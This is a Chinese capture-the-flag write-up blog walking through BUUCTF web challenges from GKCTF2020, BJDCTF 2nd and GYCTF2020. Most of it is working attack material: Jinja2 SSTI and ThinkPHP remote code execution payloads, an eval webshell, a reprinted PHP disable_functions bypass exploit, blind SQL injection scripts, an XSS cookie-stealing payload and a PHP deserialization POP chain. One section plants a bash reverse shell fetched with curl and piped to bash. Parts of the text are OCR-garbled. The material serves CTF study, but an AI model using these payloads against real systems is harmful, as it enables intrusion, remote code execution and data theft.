<http://b436b6c5-e523-4aed-8075-c98d9a08f8fc.node3.buuoj.cn/secrettw.php?2333=data://,todat is a happy day&file=flag.php>

Enable POST

ADD HEADER


Name	Value
Client-IP	127.0.0.1

### 编写加密函数

```
function recharge($v="flag.php"){  
    $re = '';  
    for($i=0;$i<strlen($v);$i++){  
        $re .= chr ( ord ($v[$i]) - $i*2 );  
    }  
    $v = base64_encode($re);  
    return $v;  
}
```

<http://b436b6c5-e523-4aed-8075-c98d9a08f8fc.node3.buuoj.cn/secrettw.php?2333=data://,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=>

Flag is here~But how to get it?Local access only!  
Your REQUEST is:flag.php



The screenshot shows the browser's developer tools. The 'Elements' tab is active, displaying the following HTML structure:

```
<html>
  <head></head>
  <body>
    "Flag is here~But how to get it?Local access only!"
    <br>
    "Your REQUEST is:flag.php"
  </body>
</html>
```

The 'Styles' panel on the right shows the default body styles:

```
body {
  display: block;
  margin: 8px;
}
```

The 'Sources' tab is also visible, showing the following PHP code:


```
<!--?php
$flag = 'flag{e5e855b3-084e-4508-a774-f209c524b3de}';
echo "Flag is here~But how to get it?";
?--> == $0
<!--
```

## [GKCTF2020]cve版签到

CVE-2020-7066

get\_headers(): 可以通过服务器的响应头来判断远程文件是否存在

get\_headers()会截断URL中空字符后的内容，也就是会截断%00后的字符



[View CTFHub](#)

You just view \*.ctfhub.com

`http://fe290372-6178-4c81-8314-dd7f71ce1ec4.node3.buuoj.cn/?url=http://127.0.0.1%00www.ctfhub.com`

Array

```
(  
  [0] => HTTP/1.1 200 OK  
  [1] => Date: Mon, 21 Sep 2020 14:03:11 GMT  
  [2] => Server: Apache/2.4.38 (Debian)  
  [3] => X-Powered-By: PHP/7.3.15  
  [4] => Tips: Host must be end with '123'  
  [5] => Vary: Accept-Encoding  
  [6] => Content-Length: 113  
  [7] => Connection: close  
  [8] => Content-Type: text/html; charset=UTF-8  
)
```

<https://blog.csdn.net/meteox>

改为 <http://fe290372-6178-4c81-8314-dd7f71ce1ec4.node3.buuoj.cn/?url=http://127.0.0.123%00www.ctfhub.com>

Array

```
(  
  [0] => HTTP/1.1 200 OK  
  [1] => Date: Mon, 21 Sep 2020 14:04:07 GMT  
  [2] => Server: Apache/2.4.38 (Debian)  
  [3] => X-Powered-By: PHP/7.3.15  
  [4] => FLAG: flag{26920268-da52-4fb1-900c-59fe625eed9c}  
  [5] => Vary: Accept-Encoding  
  [6] => Content-Length: 113  
  [7] => Connection: close  
  [8] => Content-Type: text/html; charset=UTF-8  
)
```

<https://blog.csdn.net/meteox>

```

<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
    public $code = null;
    public $decode = null;
    function __construct()
    {
        $this->code = @$this->x()['Ginkgo'];
        $this->decode = @base64_decode( $this->code );
        @Eval($this->decode);
    }

    public function x()
    {
        return $_REQUEST;
    }
}
new ClassName();

```

base64编码后可rce

phpinfo(); --> cGhwaW5mbygp0w==

<http://85b78423-12a5-4619-9749-7e5ae23ad41c.node3.buuoj.cn/?Ginkgo=cGhwaW5mbygp0w==>

查找disable\_functions

disable functions		
	pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,pass thru,symlink,link,syslog,imap_open,ld,dl,	pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,pass thru,symlink,link,syslog,imap_open,ld,dl,

```

eval($_POST[1]);
ZXZhbCgkX1BPU1RbMV0p0w==

```

<http://85b78423-12a5-4619-9749-7e5ae23ad41c.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbMV0p0w==>

蚁剑连接，发现打不开根目录下的flag，但是有readflag文件

看wp发现环境为php7.3，可用用bypass PHP7.0-7.3 disable\_function的PoC

改下命令



```
≡<?php
```

```
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1
```

```
pwn("/readflag");
```

```
function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
    }
}
```

<https://blog.csdn.net/mateoz>

上传至temp目录（有上传权限），然后包含它。

payload

```
http://85b78423-12a5-4619-9749-7e5ae23ad41c.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbMV0pOw==
```

```
POST: 1=include('/tmp/exp.php');
```

```
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
    public $code = null;
    public $decode = null;
    function __construct()
    {
        $this->code = @$this->x()['Ginkgo'];
        $this->decode = @base64_decode( $this->code
        @Eval($this->decode);
    }

    public function x()
    {
        return $_REQUEST;
    }
}
new ClassName(); flag{d3ffc606-1c01-4045-a4cd-ac24ba7cd2be}
```

<https://blog.csdn.net/meteox>

## [GKCTF2020]EZ三剑客-EzWeb

## [GKCTF2020]EZ三剑客-EzTypecho

## [BJDCTF 2nd]fake google

jinja2 ssti

payload

```
http://a59cb797-5668-400c-a511-a4f94c890709.node3.buuoj.cn/qaq?name={%20for%20c%20in%20[. __class__ . __base__ . __
subclasses__ ()%20%]}{%20if%20c. __name__ ==%27catch_warnings%27%20%}{%20c. __init__ . __globals__ [%27__builtins__%27
] . eval(%22__import__ (%27os%27) . popen(%27cat%20../../../../../../../../flag%27) . read() %22)%20}{%20endif%20%}{%20endfor%20%
}
```

## [BJDCTF 2nd]old-hack

thinkphp5.0.23命令执行

payload

<http://52bd483e-0bea-4679-b32b-1afd54ad8f9a.node3.buuoj.cn/>


POST: \_method=\_\_construct&filter[]=system&method=get&server[REQUEST\_METHOD]=cat ../../../../../../flag

## [BJDCTF 2nd]假猪套天下第一




# Sorry, this site will be available after totally 99 years!

http://blog.csdn.net/mexv



接下来也是一些header的限制，直接放出最终的包，可参考后面的header详解



Header: 请求头参数详解

Header	解释	示例
Accept	指定客户端能够接收的内容类型	Accept: text/plain, text/html,application/json
Accept-Charset	浏览器可以接受的字符编码集。	Accept-Charset: iso-8859-5
Accept-Encoding	指定浏览器可以支持的web服务器返回内容压缩编码类型。	Accept-Encoding: compress, gzip
Accept-Language	浏览器可接受的语言	Accept-Language: en,zh
Accept-Ranges	可以请求网页实体的一个或者多个子范围字段	Accept-Ranges: bytes
Authorization	HTTP授权的授权证书	Authorization: Basic QWxhZGRpbjpvGVuIHhlc2FtZQ==
Cache-Control	指定请求和响应遵循的缓存机制	Cache-Control: no-cache
Connection	表示是否需要持久连接。(HTTP 1.1默认进行持久连接)	Connection: close
Cookie	HTTP请求发送时, 会把保存在该请求域名下的所有cookie值一起发送给web服务器。	Cookie: \$Version=1; Skin=new;
Content-Length	请求的内容长度	Content-Length: 348
Content-Type	请求的与实体对应的MIME信息	Content-Type: application/x-www-form-urlencoded
Date	请求发送的日期和时间	Date: Tue, 15 Nov 2010 08:12:31 GMT
Expect	请求的特定的服务器行为	Expect: 100-continue
From	发出请求的用户的Email	From: user@email.com
Host	指定请求的服务器的域名和端口号	Host: www.zcmhi.com
If-Match	只有请求内容与实体相匹配才有效	If-Match: "737060cd8c284d8af7ad3082f209582d"
If-Modified-Since	如果请求的部分在指定时间之后被修改则请求成功, 未被修改则返回304代码	If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT
If-None-Match	如果内容未改变返回304代码, 参数为服务器先前发送的Etag, 与服务器回应的Etag比较判断是否改变	If-None-Match: "737060cd8c284d8af7ad3082f209582d"
If-Range	如果实体未改变, 服务器发送客户端丢失的部分, 否则发送整个实体。参数也为Etag	If-Range: "737060cd8c284d8af7ad3082f209582d"
If-Unmodified-Since	只在实体在指定时间之后未被修改才请求成功	If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT
Max-Forwards	限制信息通过代理和网关传送的时间	Max-Forwards: 10
Pragma	用来包含实现特定的指令	Pragma: no-cache
Proxy-Authorization	连接到代理的授权证书	Proxy-Authorization: Basic QWxhZGRpbjpvGVuIHhlc2FtZQ==

Header	解释	示例
Range	只请求实体的一部分, 指定范围	Range: bytes=500-999
Referer	先前网页的地址, 当前请求网页紧随其后, 即来路	Referer: <a href="http://www.zcmhi.com/archives...">http://www.zcmhi.com/archives...</a>
TE	客户端愿意接受的传输编码, 并通知服务器接受接受尾加头信息	TE: trailers, deflate;q=0.5
Upgrade	向服务器指定某种传输协议以便服务器进行转换 (如果支持)	Upgrade: HTTP/2.0, SHHTTP/1.3, IRC/6.9, RTA/x11
User-Agent	User-Agent的内容包含发出请求的用户信息	User-Agent: Mozilla/5.0 (Linux; X11)
Via	通知中间网关或代理服务器地址, 通信协议	Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
Warning	关于消息实体的警告信息	Warn: 199 Miscellaneous warning

## [BJDCTF 2nd]简单注入

发现hint.txt

Only u input the correct password then u can get the flag  
and p3rh4ps wants a girl friend.

```
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
```

```
username='a\' and password='or 2>1#'
```

使用脚本盲注

```

import requests

url = "http://09a83584-46f6-4e80-ab85-83d5a1c8f99d.node3.buuoj.cn/"

data = {"username": "admin\\", "password": ""}
flag = ""
i = 0

while (True):
    i = i + 1
    head = 32
    tail = 127

    while (head < tail):
        mid = (head + tail) >> 1

        payload = f"or/**/if(ascii(substr(password,{i},1))>{mid},1,0)#"

        data['password'] = payload
        r = requests.post(url, data=data)

        if "stronger" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        flag += chr(head)
    else:
        break
print(flag)

```

The screenshot shows a Python IDE with a file named 'sqlinj.py'. The code in the editor is identical to the one in the first block. The 'Run' console at the bottom shows the output of the script, which is the flag 'OhyOuFOuNdIt'.

```

Run: sqlinj x
OhyOuF
OhyOuFO
OhyOuFOu
OhyOuFOuN
OhyOuFOuNd
OhyOuFOuNdi
OhyOuFOuNdIt

```

```
1 = 0
8
9 while (True):
10     i = i + 1
11     head = 32
12     tail = 127
13
14     while (head < tail):
15         mid = (head + tail) >> 1
16
17         payload = f"or/**/if(ascii(substr(username,{i},1))>{mid},1,0)#"
18
19         data['password'] = payload
20         r = requests.post(url, data=data)
21
22     if r.status_code == 200:
23         print(r.text)
24         break
```

Run: sqlinj x

- ad
- adm
- admi
- admin

Process finished with exit code 0

<https://blog.csdn.net/meteox>

登录获取flag

## [BJDCTF 2nd]xss之光

.git泄露，得到index.php

```
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
```

反序列化，但是没有可用的类，于是利用php内置类来反序列化

学习文章

由于有个echo，所以可利用to\_string()，反序列化，如 `Error`（适用于php7版本），`Exception`（适用于php5、7版本）等，并且php版本为5，所以用Error

payload

```
<?php
$a = new Exception("<script>>window.location.href='http://8ff615f3-da70-4d1a-959f-f29d817ecd90.node3.buuoj.cn'+document.cookie</script>");
#$a = new Exception("<script>>window.open('http://a0a58185-02d8-4b85-8dbb-f5a991c8b45c.node3.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($a));
?>
```

直接在返回包中发现flag

## [BJDCTF 2nd]duangShell



发现swp泄露

vim -r index.php.swp

```
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!". "<br>";
if (!isset($_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
} else {
    $girl = $_POST['girl_friend'];
    if (preg_match('/\>|\\\/', $girl)) {
        die('just girl');
    } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
        echo "<img src='img/p3_need_beautiful_gf.png' <!-- He is p3 -->";
    } else {
        //duangShell~~~~
        exec($girl);
    }
}
}
```

过滤了\$, 不能使用


```
a=ca;b=t;c=flag;$ab $c
```

过滤了base64, 不能使用

```
echo "Y2F0IGZsYWc=" | base64 -d
```

# 珍爱网

how can i give you source code? .swp?!



看了下别人的wp，发现是要反弹shell

学习链接

1

2

在注册一个小号，开buu的一个内网靶机，靶机的80端口是打开的，所以可以使受攻击网站服务器访问攻击机web文件

在 `/var/www/html`，创建1.txt写入 `bash -i >& `/dev/tcp/[ip]/[port] 0>&1`，ip为自己的ip，端口任意

然后执行 `nc -lvvp [port]`，监听端口

在目标网站POST `girl_friend=curl http://[ip]/[文件名]|bash`，获得shell

执行 `find / -name *flag*`

```
bash-4.4$ find / -name *flag*
find / -name *flag*
/etc/demo/P3rh4ps/love/you/flag
```

cat flag即可

## [BJDCTF 2nd]文件探测

发现hint

Welcome to BJDCTF

@颖奇L'Amore

The screenshot shows the browser's developer tools network tab. The first request is a 200 OK GET request to `http://3c135169-deae-43f6-b5e5-569e5621cf16.node3.buuoj.cn/` with a response size of 4.69 KB. The second request is a 404 GET request for `favicon.ico`. The response details for the 200 OK request are shown, including headers: `Connection: keep-alive`, `Content-Encoding: gzip`, `Content-Length: 4550`, `Content-Type: text/html; charset=UTF-8`, and `Date: Thu, 15 Oct 2020 15:44:26 GMT`. The hint is `home.php`.

跳转到 <http://3c135169-deae-43f6-b5e5-569e5621cf16.node3.buuoj.cn/home.php?file=system>

The screenshot shows a green web page titled "File Detector". The main text asks "你知道目录下都有什么文件吗?" (Do you know what files are in the directory?). Below the text is a dark green rectangular input field. The page number "1 / 3" is visible in the bottom right corner.

使用伪协议

<http://3c135169-deae-43f6-b5e5-569e5621cf16.node3.buuoj.cn/home.php?file=php://filter/read=convert.base64-encode/resource=home>

home.php



```

<link rel="stylesheet" type="text/css" href="css/normalize.css" />
<link rel="stylesheet" type="text/css" href="css/demo.css" />

<link rel="stylesheet" type="text/css" href="css/component.css" />

<script src="js/modernizr.custom.js"></script>

</head>
<body>
<section>
  <form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
    <div class="simform-inner">
      <span><p><center>File Detector</center></p></span>
      <ol class="questions">
        <li>
          <span><label for="q1">¿ çŸ¥é “ç”®å½•ä, <éŸææ%ä»€ä¹^æ-řä»Ÿå -?</label></span>
          <input id="q1" name="q1" type="text"/>
        </li>
        <li>
          <span><label for="q2">è`·è%“â
          ¥ä% æŸ³æŸ€æµ<æ-řä»Ÿå†
          å®¹é•çâ°|çš„url</label></span>
          <input id="q2" name="q2" type="text"/>
        </li>
        <li>
          <span><label for="q1">â½ å.Œææ»ä»¥ä%•çš æ-¹å% è®:é-®i%ŸGETi%ŸPOST?</label></span>
          <input id="q3" name="q3" type="text"/>
        </li>
      </ol>
      <button class="submit" type="submit" value="submit">æ ä°æ</button>
      <div class="controls">
        <button class="next"></button>
        <div class="progress"></div>
        <span class="number">
          <span class="number-current"></span>
          <span class="number-total"></span>
        </span>
        <span class="error-message"></span>
      </div>
      <span class="final-message"></span>
    </form>
    <span><p><center><a href="https://gem-love.com" target="_blank">@éç-â¥†L'Amore</a></center></p></span>
  </section>

<script type="text/javascript" src="js/classie.js"></script>
<script type="text/javascript" src="js/stepsForm.js"></script>
<script type="text/javascript">
  var theForm = document.getElementById( 'theForm' );

  new stepsForm( theForm, {
    onSubmit : function( form ) {
      classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' );
      var messageEl = theForm.querySelector( '.final-message' );
      form.submit();
      messageEl.innerHTML = 'Ok...Let me have a check';
      classie.addClass( messageEl, 'show' );
    }
  } );

```

```

</script>

</body>
</html>
<?php

$filter1 = '/^http:\\\\127\\.0\\.0\\.1\\/i';
$filter2 = '/\\.?f\\.?l\\.?a\\.?g\\.?/i';

if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3'])) {
    $url = $_POST['q2'].".y1ng.txt";
    $method = $_POST['q3'];

    $str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --h
int=xiangdemei<br>";

    echo $str1;

    if (!preg_match($filter1, $url) ){
        die($str2);
    }
    if (preg_match($filter2, $url)) {
        die($str3);
    }
    if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
        die($str4);
    }
    $detect = @file_get_contents($url, false);
    print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

```

不能直接读取含有flag文件名的文件，.q2的值必须以http://127.0.0.1/开头，只能通过SSRF读取文件，q2后会拼接“.y1ng.txt”字符串

通过home.php猜测有admin.php，可以在URL后加 “?a=(GET赋值给一个参数)” 或 “#(锚点)” 来让其失效。

```
http://127.0.0.1/flag.php=http://127.0.0.1/flag.php#任意字符
```

```

$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));

```

考格式化输出，看师傅的wp，学到两点 from

\1. %1<sub>s</sub>——这种办法原理是s会将第一个参数用string类型输出，而这道题中第一个参数便是admin.php的源码，语句是：

```
print(sprintf("$url method&content_size:"GET%1$s%d", $detect)); // %1$s会以字符串格式输出$detect，而%d会输出0
```

\2. %s% — 这种办法的原理是sprintf()函数中%可以转义掉%，这样语句就变成了：

```
print(sprintf("$url method&content_size:"GET%s%d", $detect)); // %d前的%被转义，因此失
```

构造出Payload，POST发送给system.php即可获得admin.php的源码：

```
q1=1&q2=http://127.0.0.1/admin.php#&q3=GET%1$s
```

```

<?php
error_reporting(0);
session_start();
$flag = 'flag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return base64_encode(openssl_encrypt($data, $method,$key, OPENSSSL_RAW_DATA , $iv));
}

function Check()
{
    if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
        return true;
    else
        return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} else {
    echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}

$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
    $decr = $_GET['decrypt'];
    if (Check()){
        $data = $_SESSION['secret'];
        include 'flag_2s1n2nd1n2k1n1ksnf.php';
        $cipher = aesEn($data, 'y1ng');
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;
        } else {
            die('爬');
        }
    } else{
        header("Refresh:0.1;url=index.php");
    }
} else {
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));
    $length = mt_rand(40,80);
    $_SESSION['secret'] = bin2hex(random_bytes($length));
}

?>
0

```

else部分是不能爆破随机数的，所以就不能制造和\$cipher一样的密文了，看wp后发现一个小trick



session绕过。删除cookie，没有cookie中的SESSIONID就找不到对应的session文件，相应的\$\_SESSION['var']就为NULL，传参

NULL。

计算出密钥

```
<?php
function aesEn($data, $key){
    $method = 'AES-128-CBC';
    $iv = md5('174.0.0.15',true);
    return base64_encode(openssl_encrypt($data, $method,$key, OPENSSSL_RAW_DATA , $iv));
}

echo aesEn('', 'y1ng');?>
```


删除cookie

The screenshot shows a web browser window with a black background and white text. The text reads: "only 127.0.0.1 can access! You know what I mean right? your ip address is 174.0.0.15爬". Below the browser window, a cookie inspector is open, showing a table of cookies. The table has columns for Name, Value, Domain, Path, Expires / Max-Age, Size, HttpOnly, and Secure. The selected cookie is PHPSESSID with value 4e33b8361bb6547...bbe162c7... and domain cf318a80-7de8-4464-b1b4-b8120c5d6cfb.node3.buuoj.cn. The data pane shows the cookie's details, including its domain, expires/max-age, host-only status, http-only status, path, same-site status, secure status, creation time, size, and last access time.

名称	值	Domain	Path	Expires / Max-Age	大小	HttpOnly	Secure
PHPSE...	4e33b8361bb...	cf318a80-7...	/	会话	41	false	false
y1ng	8880cbd7172...	cf318a80-7...	/	Sat, 17 Oct 2020 1...	44	false	false
your_ip_...	04b0951938d...	cf318a80-7...	/	Sat, 17 Oct 2020 1...	47	false	false

Cookie details for PHPSESSID: '4e33b8361bb6547...bbe162c7...':  
Domain: 'cf318a80-7de8-4464-b1b4-b8120c5d6cfb.node3.buuoj.cn'  
Expires / Max-Age: '会话'  
HostOnly: true  
HttpOnly: false  
Path: '/'  
SameSite: 'None'  
Secure: false  
创建于: 'Sat, 17 Oct 2020 09:38:06 GMT'  
大小: 41  
最后访问: 'Sat, 17 Oct 2020 09:38:06 GMT'

only 127.0.0.1 can access! You know what I mean  
right?  
your ip address is  
174.0.0.15flag{9c7084c5-7828-457d-b8b2-  
e933c2767df1}



## Windows[BJDCTF 2nd]EasyAspDotNet

### [GYCTF2020]Blacklist

有个查询窗口，猜测注入，加 ' 报错

## Black list is so weak for you, isn't it

姿势:

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''

http://c52d8600-ad4b-4d74-97a9-fe15bff2ab1f.node3.buuoj.cn/?inject=1' or 2>1 --+

# Black list is so weak for you, isn't it

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}
```

<https://blog.csdn.net/meleox>

<http://c52d8600-ad4b-4d74-97a9-fe15bff2ab1f.node3.buuoj.cn/?inject=1' or 2=1 --+>

---

# Black list is so weak for you, isn't it

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

<https://blog.csdn.net/meleox>

order by 查询出2列, union select后返回限制



Q c52d8600-ad4b-4d74-97a9-fe15bff2ab1f.node3.buuoj.cn/?inject=1' union select 1,2

# Black list is so weak for you, isn't it

姿势:

```
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\.\/i", $inject);
```

<https://blog.csdn.net/meteox>

```
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\.\/i", $inject);
```

这题和强网杯随便注相似，但过滤了改名函数。

堆叠注入

```
http://c52d8600-ad4b-4d74-97a9-fe15bff2ab1f.node3.buuoj.cn/?inject=1';show tables --+
```

---

# Black list is so weak for you, isn't it

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

---

```
array(1) {
  [0]=>
  string(8) "FlagHere"
}
```

```
array(1) {
  [0]=>
  string(5) "words"
}
```

<https://blog.csdn.net/meteox>

过滤了select，可用handler语句代替select

mysql除可使用select查询表中的数据，也可使用handler语句，这条语句使我们能够一行一行的浏览一个表中的数据，不过handler语句并不具备select语句的所有功能。它是mysql专用的语句，并没有包含到SQL标准中。

语法结构：

```
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE
```

如：通过handler语句查询users表的内容

```
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄
```

<https://blog.csdn.net/meteox>

from

payload

```
http://c52d8600-ad4b-4d74-97a9-fe15bff2ab1f.node3.buuoj.cn/?inject=-1';handler FlagHere open; handler FlagHere read first; --+
```

## [GYCTF2020]Ezsqli

过滤了or，含information的也用不了，替代information\_schema

```
sys.x$schema_flattened_keys
sys.x$schema_table_statistics_with_buffer
```

注出表名

```

import requests
from time import sleep
url = 'http://dceb9acc-239b-47ee-871c-991df29eff3c.node3.buuoj.cn/'
flag = ''
s = requests.Session()
def exp(i, j):
    payload = f"2||ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_sc
hema=database()),{i},1))>{j}"
    data = {
        "id": payload
    }
    r = s.post(url, data=data)
    sleep(0.1)#太快请求容易数据异常
    if "Nu1L" in r.text:
        return True
    else:
        return False

for i in range(1, 100):
    low = 32
    high = 127
    while (low < high):
        mid = (low + high)//2
        if (exp(i, mid)):
            low = mid+1#payLoad中为>, mid肯定不满足条件
        else:
            high = mid
    flag += chr(low)
    print(flag)

```

后面是无列名注入，不好用二分，网上找脚本

```

import requests

url='http://dceb9acc-239b-47ee-871c-991df29eff3c.node3.buuoj.cn/'
payload='1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'
flag=''
for j in range(200):
    for i in range(32,128):
        hexchar=flag+chr(i)
        py=payload.format(hexchar)
        datas={'id':py}
        re=requests.post(url=url,data=datas)
        if 'Nu1L' in re.text:
            flag+=chr(i-1)
            print(flag)
            break

```

```
(select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh)
```

{ } 括号中的字符与查询出的字符比ASCII大小，先比第一个，如果第一个相等则比第二个，最终是大于的字符，所以i-1则为目标字符。

## [GYCTF2020]Easyphp

直接可以下载www.zip，构造pop链反序列化

参考学长的wp

和另一位师傅的wp

pop链: UpdateHepler::\_\_destruct()->User::\_\_toString->Info::\_\_Call()->dbCtrl::login()

```
<?php

class User
{
    public $id;
    public $age=null;
    public $nickname=null;
}

class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
}

Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
}

class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
}

$sql = 'select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';//$this->name=$_POST['username']
];

$start = new UpdateHelper();
$start->sql = new User();
$start->sql->nickname = new Info();
$start->sql->nickname->CtrlCase = new dbCtrl();
$start->sql->age = $sql;
$start->sql->nickname->CtrlCase->name = 'admin';
$start->sql->nickname->CtrlCase->password = '1';//字符串1 不是数字1
$s = serialize($start);
echo $s;
echo "          ";
$a = new Info();
$a->nickname = $s;
echo serialize($a);
```

结果

```

0:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";0:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select
id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";0:4:"Info":3:
{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";0:6:"dbCtrl":8:
{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s
:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}} 0:4:"Info":3:
{s:3:"age";N;s:8:"nickname";s:447:"0:12:"UpdateHelper":3:
{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";0:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select
id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";0:4:"Info":3:
{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";0:6:"dbCtrl":8:
{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s
:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}";s:8:"CtrlCase";N;}

```

可利用的反序列化点

```

public function getNewInfo(){
    $age=$_POST['age'];
    $nickname=$_POST['nickname'];
    return safe(serialize(new Info($age,$nickname)));
}

```

会将payload作为参数进行序列化，需要进行字符逃逸

将第一个payload进行修改以及闭合

```

";s:8:"CtrlCase";0:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";0:4:"User":3:{s:2:"id";N;s:3:"age";
s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";0:4:"Info":3:{s:3:
"age";N;s:8:"nickname";N;s:8:"CtrlCase";0:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s
:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s
5:"token";N;}}}};

```

